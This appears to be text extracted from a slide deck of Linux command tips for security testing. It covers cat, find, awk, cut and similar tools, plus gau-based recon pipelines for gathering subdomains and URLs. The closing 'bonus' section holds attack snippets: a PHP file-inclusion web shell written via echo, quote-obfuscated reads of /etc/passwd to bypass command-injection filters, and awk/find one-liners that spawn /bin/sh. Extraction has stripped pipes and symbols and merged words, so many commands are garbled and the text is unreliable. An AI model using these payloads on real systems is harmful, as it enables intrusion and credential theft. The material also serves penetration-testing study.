By Swapnil Security Testing Utilities For Commands And Linux

Linuxcommands andutilities forsecurity testingBy Swapnil

Catcat - concatenate filesand print on the standardoutput

Cat Usage Display Contents of a Filecat test1.txt Redirect Contents of a Filecat test1.txt test3.txt To display content of all txt filescat *.txt To display the contents of a file with line numbercat -n file1.txt

FindFind command basicallyfinds the things for you

find Usage Find files in a directoryfind / Specific files in a directoryfind -name ‘*.jpg’ ”OR”find ( -iname 'jpeg' -o -iname 'jpg' )Find world-readble filesfind -perm -o r

parallelParallel is a shellutility for executing jobsin parallel

parallel Usage From serial to parallelfind . -name "*jpeg" parallel -I% --max-args 1 convert % %.png Multiple Inputsls -l parallel --max-args 2 echo

cut is a command-lineutility that allows you toCutcut parts of lines fromspecified files or pipeddata and print the resultto standard

CUT Usage Specify a fieldCut -f BytesCut -b Characters listCut -c DelimiterCut -d

sortSort sorts its input

sort Usage Numeric sortSort -n Human sortSort -h Uniq valuesSort -u

awkAwkis a general-purposescripting languagedesigned for advanced textprocessing.

awk Usage AWK patternsAwk ‘{print 3}’ test.txt Awk regexAwk ‘/reg/ {print 4}’ test.txt AWK field separatorAwk ‘BEGIN {FS “.”}{ print 1}’ test.txt

Echoecho is one of the mostcommonly and widely usedbuilt-in command for Linuxbash and C shells, thattypically used inscripting language andbatch files to display aline of text/string onstandard output or a file.

ECHo Usage Display a line of text on standard outputEcho Hello world Pattern matching charactersecho The PHP files are: *.php Redirect to a fileecho -e 'The test file' /tmp/file.txt Displaying output of a commandecho "The date is: (date %D)"

Some more command Reverse commandrev Grep commandGrep -r SED - edit the input streamSed -n 1-4p DelimiterCut -d

Lets make cocktail ofabove commands

Processing data for Recon Get javascript files from domains listCat domains list gau grep “.js” Get v1 api enpoints from URL listprintf yahoo.com gau grep -w "v1" head -10 Find URL with admin keyword in itCat domains.txt grep “admin” With staus code 200cat domains.txt gau hakcheckurl grep -w '200' head -10 Extract subdomains from outputgau -subs example.com cut -d / -f 3 sort -u

Pull Root Subdomains from Final.txtcat final rev cut -d . -f 1-3 rev sort -u tee root.subdomains Extract URLs from junk datacat file grep -Eo "(http https)://[a-zA-Z0-9./? -]*"*

Some bonus commands Command injection to File inclusionecho " ?php include( GET['page']) ? " rfi.php Command Injection bypassCat /etc/passwdCat /e”t”c/pass”w”dCat /etc/pass*d Echo and revEcho “dwssap/cte/ tac” rev AWK and shellawk 'BEGIN {system("/bin/sh")}' Find and AWKfind / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \; Echo and teeecho "evil script code" tee script.sh

Thank you

By Swapnil. Cat cat - concatenate files and print on the standard output. Cat Usage Display Contents of a File cat test1.txt Redirect Contents of a File cat test1.txt test3.txt To display content of all txt files ca